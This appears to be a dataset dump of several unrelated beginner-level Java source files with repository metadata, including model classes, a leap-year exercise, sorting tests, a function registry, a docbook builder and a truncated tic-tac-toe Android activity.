/KiandaStream - Android/src/com/kiandastream/twitter/TwtSocioUserDatas.java
|
f9ea3e4e93ac156441c23356e0ba5fa191377252
|
[] |
no_license
|
sumitglobussoft/KiandaStream-iOS
|
https://github.com/sumitglobussoft/KiandaStream-iOS
|
8dabf40d4ffd2f4b5af36550220f0129d66128ac
|
905c18bbd402ce08eae31bcc8d95888cedf23f80
|
refs/heads/master
| 2021-01-23T21:38:34.945000 | 2015-09-09T08:34:00 | 2015-09-09T08:34:00 | 35,271,546 | 1 | 2 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.kiandastream.twitter;
public class TwtSocioUserDatas {
String userid;
String username;
String userAcessToken;
String usersecretKey;
public String getUsersecretKey() {
return usersecretKey;
}
public void setUsersecretKey(String usersecretKey) {
this.usersecretKey = usersecretKey;
}
public TwtSocioUserDatas(String userid, String username,
String userAcessToken, String usersecretKey, String userimage,
String emailId) {
super();
this.userid = userid;
this.username = username;
this.userAcessToken = userAcessToken;
this.usersecretKey = usersecretKey;
}
@Override
public String toString() {
return "ModelUserDatas [userid=" + userid + ", username=" + username
+ ", userAcessToken=" + userAcessToken + ", usersecretKey="
+ usersecretKey + ", userimage=" ;
}
public String getUserAcessToken() {
return userAcessToken;
}
public void setUserAcessToken(String userAcessToken) {
this.userAcessToken = userAcessToken;
}
public TwtSocioUserDatas() {
}
/**
* @return the userid
*/
public String getUserid() {
return userid;
}
/**
* @param userid
* the userid to set
*/
public void setUserid(String userid) {
this.userid = userid;
}
/**
* @return the username
*/
public String getUsername() {
return username;
}
/**
* @param username
* the username to set
*/
public void setUsername(String username) {
this.username = username;
}
/**
* @return the level
*/
}
|
UTF-8
|
Java
| 1,505 |
java
|
TwtSocioUserDatas.java
|
Java
|
[
{
"context": "super();\n\t\tthis.userid = userid;\n\t\tthis.username = username;\n\t\tthis.userAcessToken = userAcessToken;\n\t\tthis.u",
"end": 521,
"score": 0.9990092515945435,
"start": 513,
"tag": "USERNAME",
"value": "username"
},
{
"context": "odelUserDatas [userid=\" + userid + \", username=\" + username\n\t\t\t\t+ \", userAcessToken=\" + userAcessToken + \", u",
"end": 715,
"score": 0.9975710511207581,
"start": 707,
"tag": "USERNAME",
"value": "username"
},
{
"context": "d setUsername(String username) {\n\t\tthis.username = username;\n\t}\n\n\t/**\n\t * @return the level\n\t */\n\n}\n",
"end": 1464,
"score": 0.902572751045227,
"start": 1456,
"tag": "USERNAME",
"value": "username"
}
] | null |
[] |
package com.kiandastream.twitter;
public class TwtSocioUserDatas {
String userid;
String username;
String userAcessToken;
String usersecretKey;
public String getUsersecretKey() {
return usersecretKey;
}
public void setUsersecretKey(String usersecretKey) {
this.usersecretKey = usersecretKey;
}
public TwtSocioUserDatas(String userid, String username,
String userAcessToken, String usersecretKey, String userimage,
String emailId) {
super();
this.userid = userid;
this.username = username;
this.userAcessToken = userAcessToken;
this.usersecretKey = usersecretKey;
}
@Override
public String toString() {
return "ModelUserDatas [userid=" + userid + ", username=" + username
+ ", userAcessToken=" + userAcessToken + ", usersecretKey="
+ usersecretKey + ", userimage=" ;
}
public String getUserAcessToken() {
return userAcessToken;
}
public void setUserAcessToken(String userAcessToken) {
this.userAcessToken = userAcessToken;
}
public TwtSocioUserDatas() {
}
/**
* @return the userid
*/
public String getUserid() {
return userid;
}
/**
* @param userid
* the userid to set
*/
public void setUserid(String userid) {
this.userid = userid;
}
/**
* @return the username
*/
public String getUsername() {
return username;
}
/**
* @param username
* the username to set
*/
public void setUsername(String username) {
this.username = username;
}
/**
* @return the level
*/
}
| 1,505 | 0.681063 | 0.681063 | 82 | 17.353659 | 18.145329 | 70 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.402439 | false | false |
0
|
da350fbddb1431aa9f2e3f225305c63847cd8a34
| 28,870,770,210,078 |
2ec77174e29b915e63e509c6f698066f7e3618ba
|
/src/main/java/com/tchoko/springboot/springdata/SpringDataDemoApplication.java
|
d113972877707f1176b64cca03f7f48ea2f10ea7
|
[] |
no_license
|
TchokoApps/SpringDataDemo
|
https://github.com/TchokoApps/SpringDataDemo
|
d92bfb19b36a64ffa0e35ea5c21b14e635b3b8bd
|
4b96376f956510e5117a78770080e6dc668609e9
|
refs/heads/master
| 2020-03-19T05:26:16.202000 | 2018-06-03T20:04:01 | 2018-06-03T20:04:01 | 135,930,702 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.tchoko.springboot.springdata;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class SpringDataDemoApplication implements CommandLineRunner {
public static void main(String[] args) {
SpringApplication.run(SpringDataDemoApplication.class, args);
}
@Override
public void run(String... args) throws Exception {
}
}
|
UTF-8
|
Java
| 489 |
java
|
SpringDataDemoApplication.java
|
Java
|
[] | null |
[] |
package com.tchoko.springboot.springdata;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class SpringDataDemoApplication implements CommandLineRunner {
public static void main(String[] args) {
SpringApplication.run(SpringDataDemoApplication.class, args);
}
@Override
public void run(String... args) throws Exception {
}
}
| 489 | 0.822086 | 0.822086 | 19 | 24.736841 | 26.44128 | 69 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.684211 | false | false |
0
|
713f7da85e09b7ab5c8baac2dfc32ce332eee1dc
| 14,087,492,793,468 |
a823b39e1e7bc8055d4d8171e6489b15cd3c623d
|
/src/week_7_HomeWork/P2_LeapYear.java
|
49cf1525904c168a2e413cfe88359e769a3ddbbf
|
[] |
no_license
|
07485743755/week_7_HomeWork
|
https://github.com/07485743755/week_7_HomeWork
|
f31cd2a68425f4a83b188c550b061839d6997958
|
03bd3188db4bef6cb869be88cda31579ab6a19ca
|
refs/heads/master
| 2023-04-06T12:03:49.547000 | 2021-04-21T17:02:10 | 2021-04-21T17:02:10 | 360,244,489 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package week_7_HomeWork;
import java.util.Scanner; //import Scanner class
public class P2_LeapYear {
/*2. Write a java program to input any year like (ex.2007) and
find out if it is leap year or not? */
int year; //Instance variable
//Instance method
public void leapYear() {
int result;
Scanner yr = new Scanner(System.in); //create object
System.out.println("Enter the year: ");
year = yr.nextInt();
//Logic for check leap year
//result = year % 4;
if (year % 4 == 0 && year % 100 != 0 || year % 400 == 0) {
System.out.println("Given year is Leap year");
} else {
System.out.println("Given year is not Leap year");
}
}
}
|
UTF-8
|
Java
| 761 |
java
|
P2_LeapYear.java
|
Java
|
[] | null |
[] |
package week_7_HomeWork;
import java.util.Scanner; //import Scanner class
public class P2_LeapYear {
/*2. Write a java program to input any year like (ex.2007) and
find out if it is leap year or not? */
int year; //Instance variable
//Instance method
public void leapYear() {
int result;
Scanner yr = new Scanner(System.in); //create object
System.out.println("Enter the year: ");
year = yr.nextInt();
//Logic for check leap year
//result = year % 4;
if (year % 4 == 0 && year % 100 != 0 || year % 400 == 0) {
System.out.println("Given year is Leap year");
} else {
System.out.println("Given year is not Leap year");
}
}
}
| 761 | 0.562418 | 0.538765 | 34 | 21.382353 | 22.875641 | 66 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.352941 | false | false |
0
|
1d0ab9687e0471663f07d11eeb17060d82243143
| 18,133,351,989,173 |
647d722f19427ca47e1070e9df9da0047f137a9c
|
/app/src/main/java/com/example/servicedemo/function/FunctionManager.java
|
111b91562f87105cd6bbfe5f1472f8f3df4ee7b9
|
[] |
no_license
|
songzhixiang/ServiceDemo
|
https://github.com/songzhixiang/ServiceDemo
|
c4c56c6e9569f708bd9dc0951d415df6fd5b05e6
|
9c4e3807d288685f62787d6e2f0203a7cbd5ce83
|
refs/heads/master
| 2020-05-07T18:03:18.377000 | 2019-06-06T07:53:18 | 2019-06-06T07:53:18 | 180,752,314 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.example.servicedemo.function;
import android.text.TextUtils;
import com.blankj.utilcode.util.LogUtils;
import java.util.HashMap;
import java.util.Map;
/**
* @author andysong
* @data 2019-06-05
* @discription xxx
*/
public class FunctionManager {
private Map<String,FunctionNoParamNoResult> mNoParamNoResultMap;
private Map<String,FunctionNoParamHasResult> mNoParamHasResultMap;
private Map<String,FunctionHasParamNoResult> mHasParamNoResultMap;
private Map<String,FunctionHasParamHasResult> mHasParamHasResultMap;
private static class LazyLoad {
private static final FunctionManager instance = new FunctionManager();
}
public static FunctionManager getInstance(){
return LazyLoad.instance;
}
private FunctionManager(){
mNoParamNoResultMap = new HashMap<>();
mNoParamHasResultMap = new HashMap<>();
mHasParamNoResultMap = new HashMap<>();
mHasParamHasResultMap = new HashMap<>();
}
//将封装的方法添加到容器(map)中
public void addFunction(FunctionNoParamNoResult function){
mNoParamNoResultMap.put(function.functionName,function);
}
public void inovkeFunction(String functionName){
if (!TextUtils.isEmpty(functionName)){
if (mNoParamNoResultMap !=null){
FunctionNoParamNoResult f = mNoParamNoResultMap.get(functionName);
if (null!=f){
f.function();
}else {
LogUtils.e("没有找到"+functionName+"方法");
}
}
}
}
public void addFunction(FunctionNoParamHasResult function){
mNoParamHasResultMap.put(function.functionName,function);
}
public <T> T inovkeFunction(String functionName,Class<T> t){
if (!TextUtils.isEmpty(functionName)){
if (mNoParamHasResultMap !=null){
FunctionNoParamHasResult f = mNoParamHasResultMap.get(functionName);
if (null!=f){
if (t!=null){
return t.cast(f.function());
}
}else {
LogUtils.e("没有找到"+functionName+"方法");
}
}
}
return null;
}
public void addFunction(FunctionHasParamNoResult function){
mHasParamNoResultMap.put(function.functionName,function);
}
public <P> void inovkeFunction(String functionName,P t){
if (!TextUtils.isEmpty(functionName)){
if (mHasParamNoResultMap !=null){
FunctionHasParamNoResult f = mHasParamNoResultMap.get(functionName);
if (null!=f){
f.function(t);
}else {
LogUtils.e("没有找到"+functionName+"方法");
}
}
}
}
public void addFunction(FunctionHasParamHasResult function){
mHasParamHasResultMap.put(function.functionName,function);
}
public <T,P> T inovkeFunction(String functionName,Class<T> t ,P p){
if (!TextUtils.isEmpty(functionName)){
if (mHasParamHasResultMap !=null){
FunctionHasParamHasResult f = mHasParamHasResultMap.get(functionName);
if (null!=f){
if (t!=null){
return t.cast(f.function(p));
}
}else {
LogUtils.e("没有找到"+functionName+"方法");
}
}
}
return null;
}
}
|
UTF-8
|
Java
| 3,595 |
java
|
FunctionManager.java
|
Java
|
[
{
"context": "til.HashMap;\nimport java.util.Map;\n\n/**\n * @author andysong\n * @data 2019-06-05\n * @discription xxx\n */\npubli",
"end": 190,
"score": 0.9995736479759216,
"start": 182,
"tag": "USERNAME",
"value": "andysong"
}
] | null |
[] |
package com.example.servicedemo.function;
import android.text.TextUtils;
import com.blankj.utilcode.util.LogUtils;
import java.util.HashMap;
import java.util.Map;
/**
* @author andysong
* @data 2019-06-05
* @discription xxx
*/
public class FunctionManager {
private Map<String,FunctionNoParamNoResult> mNoParamNoResultMap;
private Map<String,FunctionNoParamHasResult> mNoParamHasResultMap;
private Map<String,FunctionHasParamNoResult> mHasParamNoResultMap;
private Map<String,FunctionHasParamHasResult> mHasParamHasResultMap;
private static class LazyLoad {
private static final FunctionManager instance = new FunctionManager();
}
public static FunctionManager getInstance(){
return LazyLoad.instance;
}
private FunctionManager(){
mNoParamNoResultMap = new HashMap<>();
mNoParamHasResultMap = new HashMap<>();
mHasParamNoResultMap = new HashMap<>();
mHasParamHasResultMap = new HashMap<>();
}
//将封装的方法添加到容器(map)中
public void addFunction(FunctionNoParamNoResult function){
mNoParamNoResultMap.put(function.functionName,function);
}
public void inovkeFunction(String functionName){
if (!TextUtils.isEmpty(functionName)){
if (mNoParamNoResultMap !=null){
FunctionNoParamNoResult f = mNoParamNoResultMap.get(functionName);
if (null!=f){
f.function();
}else {
LogUtils.e("没有找到"+functionName+"方法");
}
}
}
}
public void addFunction(FunctionNoParamHasResult function){
mNoParamHasResultMap.put(function.functionName,function);
}
public <T> T inovkeFunction(String functionName,Class<T> t){
if (!TextUtils.isEmpty(functionName)){
if (mNoParamHasResultMap !=null){
FunctionNoParamHasResult f = mNoParamHasResultMap.get(functionName);
if (null!=f){
if (t!=null){
return t.cast(f.function());
}
}else {
LogUtils.e("没有找到"+functionName+"方法");
}
}
}
return null;
}
public void addFunction(FunctionHasParamNoResult function){
mHasParamNoResultMap.put(function.functionName,function);
}
public <P> void inovkeFunction(String functionName,P t){
if (!TextUtils.isEmpty(functionName)){
if (mHasParamNoResultMap !=null){
FunctionHasParamNoResult f = mHasParamNoResultMap.get(functionName);
if (null!=f){
f.function(t);
}else {
LogUtils.e("没有找到"+functionName+"方法");
}
}
}
}
public void addFunction(FunctionHasParamHasResult function){
mHasParamHasResultMap.put(function.functionName,function);
}
public <T,P> T inovkeFunction(String functionName,Class<T> t ,P p){
if (!TextUtils.isEmpty(functionName)){
if (mHasParamHasResultMap !=null){
FunctionHasParamHasResult f = mHasParamHasResultMap.get(functionName);
if (null!=f){
if (t!=null){
return t.cast(f.function(p));
}
}else {
LogUtils.e("没有找到"+functionName+"方法");
}
}
}
return null;
}
}
| 3,595 | 0.582742 | 0.580471 | 130 | 26.1 | 25.554422 | 86 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.353846 | false | false |
0
|
070aeda3ecacee7304e8fca9469acc7c3bd8d5f8
| 32,804,960,241,368 |
7c185662eb8cafecc558fb74a77b32275ee1e1bf
|
/NewSort/src/newSortingTester.java
|
d0f50eaf9d5531b23e1d096e295dccb3db3f9d58
|
[] |
no_license
|
utep-cs2401-20s/lab-w11-danielest22
|
https://github.com/utep-cs2401-20s/lab-w11-danielest22
|
4991beb7e69ac7feb3ec7943d83543fa1d5eeae4
|
344662d875c85f6d744f64245ac3df55adee9acf
|
refs/heads/master
| 2021-05-25T20:32:51.690000 | 2020-04-10T18:21:39 | 2020-04-10T18:21:39 | 253,910,404 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
import org.junit.Test;
import static org.junit.Assert.*;
public class newSortingTester {
@Test
//Test Case 1: Testing to see if newSort(); can sort an array with an even length and even size
//Expected: {1,2,5,7};
//Actual Result: {1,2,5,7}
//Test Passed
public void newSortingTest1(){
int[] test = {2,1,7,5};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 2);
int[] expected = {1,2,5,7};//expected output
assertArrayEquals(expected, test);
}
@Test
//Test Case 2: Testing to see if newSort(); can sort an array with an odd length and odd size
//Expected: {1,2,3,4,5,6,7};
//Actual Result: {1,2,3,4,5,6,7};
//Test Passed
public void newSortingTest2(){
int[] test = {3,1,7,5,2,4,6};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 3);
int[] expected = {1,2,3,4,5,6,7};//expected output
assertArrayEquals(expected, test);
}
@Test
//Test Case 3: Testing to see if newSort(); can sort an array with a duplicate.
//Expected: {1,2,3,4,5,5};
//Actual Result: {1,2,3,4,5,5};
//Test Passed
public void newSortingTest3(){
int[] test = {4,5,3,1,2,5};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 2);
int[] expected = {1,2,3,4,5,5};//expected output
assertArrayEquals(expected, test);
}
@Test
//Test Case 4: Testing to see if newSort(); can sort an array with a negative integer.
//Expected: {-6,1,2,3,4,5};
//Actual Result: {-6,1,2,3,4,5};
//Test Passed
public void newSortingTest4(){
int[] test = {4,-6,3,1,2,5};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 2);
int[] expected = {-6,1,2,3,4,5};//expected output
assertArrayEquals(expected, test);
}
@Test
//Test Case 5: Testing to see if newSort(); can sort an array with a duplicate, a negative integer, an odd length and size 1.
//Expected: {-3,-1,-1,0,3,3,5,6,8,10,21};
//Actual Result: {-3,-1,-1,0,3,3,5,6,8,10,21};
//Test Passed
public void newSortingTest5(){
int[] test = {0,-1,6,-1,5,10,3,21,-3,3,8};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 1);
int[] expected = {-3,-1,-1,0,3,3,5,6,8,10,21};//expected output
assertArrayEquals(expected, test);
}
/* All test passed and every method in the class newSorting.java
was tested individually while being constructed. Outside sources
used were stackoverflow.com for splitting an array using Arrays.copyOfRange
rather than a populate helper method. Overall, the newSort() worked and sorted the
array as asked.
*/
}
|
UTF-8
|
Java
| 2,853 |
java
|
newSortingTester.java
|
Java
|
[] | null |
[] |
import org.junit.Test;
import static org.junit.Assert.*;
public class newSortingTester {
@Test
//Test Case 1: Testing to see if newSort(); can sort an array with an even length and even size
//Expected: {1,2,5,7};
//Actual Result: {1,2,5,7}
//Test Passed
public void newSortingTest1(){
int[] test = {2,1,7,5};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 2);
int[] expected = {1,2,5,7};//expected output
assertArrayEquals(expected, test);
}
@Test
//Test Case 2: Testing to see if newSort(); can sort an array with an odd length and odd size
//Expected: {1,2,3,4,5,6,7};
//Actual Result: {1,2,3,4,5,6,7};
//Test Passed
public void newSortingTest2(){
int[] test = {3,1,7,5,2,4,6};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 3);
int[] expected = {1,2,3,4,5,6,7};//expected output
assertArrayEquals(expected, test);
}
@Test
//Test Case 3: Testing to see if newSort(); can sort an array with a duplicate.
//Expected: {1,2,3,4,5,5};
//Actual Result: {1,2,3,4,5,5};
//Test Passed
public void newSortingTest3(){
int[] test = {4,5,3,1,2,5};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 2);
int[] expected = {1,2,3,4,5,5};//expected output
assertArrayEquals(expected, test);
}
@Test
//Test Case 4: Testing to see if newSort(); can sort an array with a negative integer.
//Expected: {-6,1,2,3,4,5};
//Actual Result: {-6,1,2,3,4,5};
//Test Passed
public void newSortingTest4(){
int[] test = {4,-6,3,1,2,5};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 2);
int[] expected = {-6,1,2,3,4,5};//expected output
assertArrayEquals(expected, test);
}
@Test
//Test Case 5: Testing to see if newSort(); can sort an array with a duplicate, a negative integer, an odd length and size 1.
//Expected: {-3,-1,-1,0,3,3,5,6,8,10,21};
//Actual Result: {-3,-1,-1,0,3,3,5,6,8,10,21};
//Test Passed
public void newSortingTest5(){
int[] test = {0,-1,6,-1,5,10,3,21,-3,3,8};// test array to newSort method
newSorting ns = new newSorting();
ns.newSort(test, 1);
int[] expected = {-3,-1,-1,0,3,3,5,6,8,10,21};//expected output
assertArrayEquals(expected, test);
}
/* All test passed and every method in the class newSorting.java
was tested individually while being constructed. Outside sources
used were stackoverflow.com for splitting an array using Arrays.copyOfRange
rather than a populate helper method. Overall, the newSort() worked and sorted the
array as asked.
*/
}
| 2,853 | 0.608132 | 0.55205 | 72 | 38.638889 | 26.956913 | 129 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.361111 | false | false |
0
|
96f195823b936011e6037ceff19722b1323bb3f3
| 13,391,708,059,900 |
cf113166c9c9e023bee73eee81ebc03625aff522
|
/src/org.xtuml.bp.debug.ui.test/src/VerifierTestFull.java
|
610e19adc06cf52929b4fb0ff8b422d685b4850e
|
[
"Apache-2.0"
] |
permissive
|
xtuml/bptest
|
https://github.com/xtuml/bptest
|
6edcbae9108632d7fe1b4810ab437e8f5493bf9f
|
da921608d96c7b18585a2c5a0776bab7c04b6314
|
refs/heads/master
| 2023-07-20T06:15:01.387000 | 2023-07-06T14:24:13 | 2023-07-06T14:24:13 | 77,953,801 | 1 | 33 |
Apache-2.0
| false | 2023-07-06T14:24:15 | 2017-01-03T21:12:24 | 2022-02-14T01:36:37 | 2023-07-06T14:24:13 | 365,943 | 0 | 33 | 0 |
Java
| false | false |
import org.junit.runner.RunWith;
import org.junit.runners.Suite;
import org.xtuml.bp.debug.test.GlobalTestSetupClass;
import junit.framework.TestSuite;
/**
* Test all areas of the verifier
*/
@RunWith(Suite.class)
@Suite.SuiteClasses({
GlobalTestSetupClass.class, // This is only here because the following two are temporarily disabled and maven doesn't like if there are no tests to execute
/* Disabling due to server hangs
VerifierTestSuite.class,
VerifierTestSuite2.class, */
})
public class VerifierTestFull extends TestSuite {
}
|
UTF-8
|
Java
| 547 |
java
|
VerifierTestFull.java
|
Java
|
[] | null |
[] |
import org.junit.runner.RunWith;
import org.junit.runners.Suite;
import org.xtuml.bp.debug.test.GlobalTestSetupClass;
import junit.framework.TestSuite;
/**
* Test all areas of the verifier
*/
@RunWith(Suite.class)
@Suite.SuiteClasses({
GlobalTestSetupClass.class, // This is only here because the following two are temporarily disabled and maven doesn't like if there are no tests to execute
/* Disabling due to server hangs
VerifierTestSuite.class,
VerifierTestSuite2.class, */
})
public class VerifierTestFull extends TestSuite {
}
| 547 | 0.778793 | 0.776965 | 20 | 26.35 | 34.114918 | 156 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.6 | false | false |
0
|
0a18792e4d8f212598159f36abb4c38a4ce4b766
| 30,906,584,700,021 |
3be3702121328c005e1abba64c617d21abcc405f
|
/sell/sell/src/main/java/com/imooc/utils/KeyUtil.java
|
2c6267f92d9b8621ca8ec705acb9e19c805785cb
|
[] |
no_license
|
arookies/WechatOrder
|
https://github.com/arookies/WechatOrder
|
8c39b834c0c3af3998d7de6fe9c96c9f242d7276
|
4bfaef7d4bae91acfef8fb3abaa2cb5f59911cc6
|
refs/heads/master
| 2020-04-14T16:09:11.124000 | 2019-04-13T06:16:40 | 2019-04-13T06:16:40 | 163,944,474 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.imooc.utils;
import java.util.Random;
/**
* created by jiangzuole on 2019/3/28 0028.
*/
public class KeyUtil {
/**
* 生成唯一主键
* 格式:时间+随机数
*/
public static synchronized String genUniqueKey(){
System.currentTimeMillis();
Random random = new Random();
int number = random.nextInt(900000)+100000;
return System.currentTimeMillis()+String.valueOf(number);
}
}
|
UTF-8
|
Java
| 483 |
java
|
KeyUtil.java
|
Java
|
[
{
"context": "\r\n\r\nimport java.util.Random;\r\n\r\n/**\r\n * created by jiangzuole on 2019/3/28 0028.\r\n */\r\npublic class KeyUtil {\r",
"end": 85,
"score": 0.9996992349624634,
"start": 75,
"tag": "USERNAME",
"value": "jiangzuole"
}
] | null |
[] |
package com.imooc.utils;
import java.util.Random;
/**
* created by jiangzuole on 2019/3/28 0028.
*/
public class KeyUtil {
/**
* 生成唯一主键
* 格式:时间+随机数
*/
public static synchronized String genUniqueKey(){
System.currentTimeMillis();
Random random = new Random();
int number = random.nextInt(900000)+100000;
return System.currentTimeMillis()+String.valueOf(number);
}
}
| 483 | 0.595604 | 0.545055 | 22 | 18.681818 | 19.943981 | 65 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.272727 | false | false |
0
|
3d8bb995d4ca5ff389d01a7dce27dd9bb5362c71
| 25,460,566,174,374 |
7dab5c2bec36a46b3a2104a58e483151f3e2e1a5
|
/classroom-resources/java-sourcecode/ch8/autogame/PlayIt.java
|
dec7f0ffaa9ed5dacda6d00b1e98d5f266f5f859
|
[
"CC-BY-4.0"
] |
permissive
|
ram8647/javajavajava
|
https://github.com/ram8647/javajavajava
|
8107f6b8f3899c48c994c1fbdb22c4ed4f958709
|
23d3583516d6cd65552c84c697b07e7aa0f6d06a
|
refs/heads/master
| 2023-08-16T16:39:54.940000 | 2023-08-12T22:03:44 | 2023-08-12T22:03:44 | 92,961,360 | 7 | 9 |
NOASSERTION
| false | 2022-06-09T18:01:38 | 2017-05-31T15:34:50 | 2022-06-07T21:08:41 | 2022-06-09T18:01:38 | 155,009 | 2 | 6 | 1 |
PostScript
| false | false |
public class PlayIt {
public static void main(String args[]) {
TwoPlayerGame game = null;
KeyboardReader kb = new KeyboardReader();
kb.prompt("Which game do you want to play\n" +
" 1=OneRowNim, 2=WordGuess ?");
int choice = Integer.parseInt(kb.getUserInput());
if (choice==1)
game = new OneRowNim(11);
else
game = new WordGuess();
kb.prompt("How many computers are playing, 0, 1, or 2? ");
int m = kb.getKeyboardInteger();
game.setNComputers(m);
((CLUIPlayableGame)game).play(kb);
} //main()
}
|
UTF-8
|
Java
| 608 |
java
|
PlayIt.java
|
Java
|
[] | null |
[] |
public class PlayIt {
public static void main(String args[]) {
TwoPlayerGame game = null;
KeyboardReader kb = new KeyboardReader();
kb.prompt("Which game do you want to play\n" +
" 1=OneRowNim, 2=WordGuess ?");
int choice = Integer.parseInt(kb.getUserInput());
if (choice==1)
game = new OneRowNim(11);
else
game = new WordGuess();
kb.prompt("How many computers are playing, 0, 1, or 2? ");
int m = kb.getKeyboardInteger();
game.setNComputers(m);
((CLUIPlayableGame)game).play(kb);
} //main()
}
| 608 | 0.575658 | 0.5625 | 17 | 34.764706 | 16.490744 | 66 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.058824 | false | false |
0
|
0b5293f1fe69cde3def7e347b5aa557671bc0a03
| 14,302,241,105,629 |
c3f8511290499ad30763e981fa260431a3ef5b35
|
/docx-builder/src/main/java/com/alphasystem/docbook/builder/impl/block/OrderedListBuilder.java
|
f0b2738a88f931dfebb1c6ac3447426c0c8c4da7
|
[
"Apache-2.0"
] |
permissive
|
AlphaSystemSolution/docbook-2-docx
|
https://github.com/AlphaSystemSolution/docbook-2-docx
|
4b11c9d8a71b3b0b093327310af6eca0c4178420
|
f8baf2dbafb69fbea5cf7a993d7dfdafe7155d5c
|
refs/heads/master
| 2021-01-13T00:53:44.904000 | 2020-11-03T14:11:00 | 2020-11-03T14:11:00 | 52,983,274 | 0 | 1 | null | false | 2020-10-26T18:06:52 | 2016-03-02T17:40:40 | 2020-10-13T17:49:13 | 2020-10-26T18:06:51 | 439 | 0 | 1 | 0 |
Java
| false | false |
package com.alphasystem.docbook.builder.impl.block;
import com.alphasystem.docbook.builder.Builder;
import com.alphasystem.openxml.builder.wml.ListItem;
import org.docbook.model.Numeration;
import org.docbook.model.OrderedList;
import java.util.ArrayList;
/**
* @author sali
*/
public class OrderedListBuilder extends ListBuilder<OrderedList> {
public OrderedListBuilder(Builder parent, OrderedList orderedlist, int indexInParent) {
super(parent, orderedlist, indexInParent);
}
@Override
protected void initContent() {
titleContent = source.getTitleContent();
content = new ArrayList<>();
content.addAll(source.getContent());
content.addAll(source.getListItem());
}
@Override
protected ListItem getItemByName(String styleName) {
return com.alphasystem.openxml.builder.wml.OrderedList.getByStyleName(styleName);
}
@Override
protected void preProcess() {
final Numeration numeration = source.getNumeration();
String styleName = (numeration == null) ? null : numeration.value();
parseStyleAndLevel(styleName);
}
}
|
UTF-8
|
Java
| 1,137 |
java
|
OrderedListBuilder.java
|
Java
|
[
{
"context": "List;\n\nimport java.util.ArrayList;\n\n/**\n * @author sali\n */\npublic class OrderedListBuilder extends ListB",
"end": 278,
"score": 0.9949166178703308,
"start": 274,
"tag": "USERNAME",
"value": "sali"
}
] | null |
[] |
package com.alphasystem.docbook.builder.impl.block;
import com.alphasystem.docbook.builder.Builder;
import com.alphasystem.openxml.builder.wml.ListItem;
import org.docbook.model.Numeration;
import org.docbook.model.OrderedList;
import java.util.ArrayList;
/**
* @author sali
*/
public class OrderedListBuilder extends ListBuilder<OrderedList> {
public OrderedListBuilder(Builder parent, OrderedList orderedlist, int indexInParent) {
super(parent, orderedlist, indexInParent);
}
@Override
protected void initContent() {
titleContent = source.getTitleContent();
content = new ArrayList<>();
content.addAll(source.getContent());
content.addAll(source.getListItem());
}
@Override
protected ListItem getItemByName(String styleName) {
return com.alphasystem.openxml.builder.wml.OrderedList.getByStyleName(styleName);
}
@Override
protected void preProcess() {
final Numeration numeration = source.getNumeration();
String styleName = (numeration == null) ? null : numeration.value();
parseStyleAndLevel(styleName);
}
}
| 1,137 | 0.713281 | 0.713281 | 39 | 28.153847 | 26.692492 | 91 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.487179 | false | false |
8
|
5b4fcd1520f4b77e37cd26f5ede8e8748d26b5a5
| 11,776,800,375,063 |
e3af7a4520fbec3612f8e60a7552820354f2c4c6
|
/AndroidStudioProjects/Tic-Tac-Toe/app/src/main/java/com/example/shakil/tic_tac_toe/MainActivity.java
|
8f661f4bc908da61b52079b2b0cc43830561028e
|
[] |
no_license
|
shakil102030/Multiple-Quiz
|
https://github.com/shakil102030/Multiple-Quiz
|
6c420a8dfa2b0c79ed0438b0dcf0c87a5ff582f5
|
82d570e52df1829c17ecb9e0275b1f8bd79587db
|
refs/heads/master
| 2020-05-03T22:18:54.041000 | 2019-04-03T10:44:19 | 2019-04-03T10:44:19 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.example.shakil.tic_tac_toe;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity implements View.OnClickListener{
private TextView name1,name2;
private Button button;
private Button[][] btn = new Button[4][4];
private boolean name = true;
private int count;
private int point1;
private int point2;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
name1 = (TextView)findViewById(R.id.name1);
name2 = (TextView)findViewById(R.id.name2);
button = (Button)findViewById(R.id.button);
for(int i=1;i<4;i++){
for(int j=1;j<4;j++){
String btnid ="game_"+i+j;
int rid = getResources().getIdentifier(btnid, "id", getPackageName());
btn[i][j]=(Button) findViewById(rid);
btn[i][j].setOnClickListener(this);
}
}
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
resetAll();
}
});
}
@Override
public void onClick(View v) {
if(!((Button)v).getText().toString().equals("")){
return;
}
if(name){
((Button)v).setText("X");
}
else{
((Button)v).setText("O");
}
count++;
if(check()) {
if (name) {
name1win();
} else{
name2win();
}
}
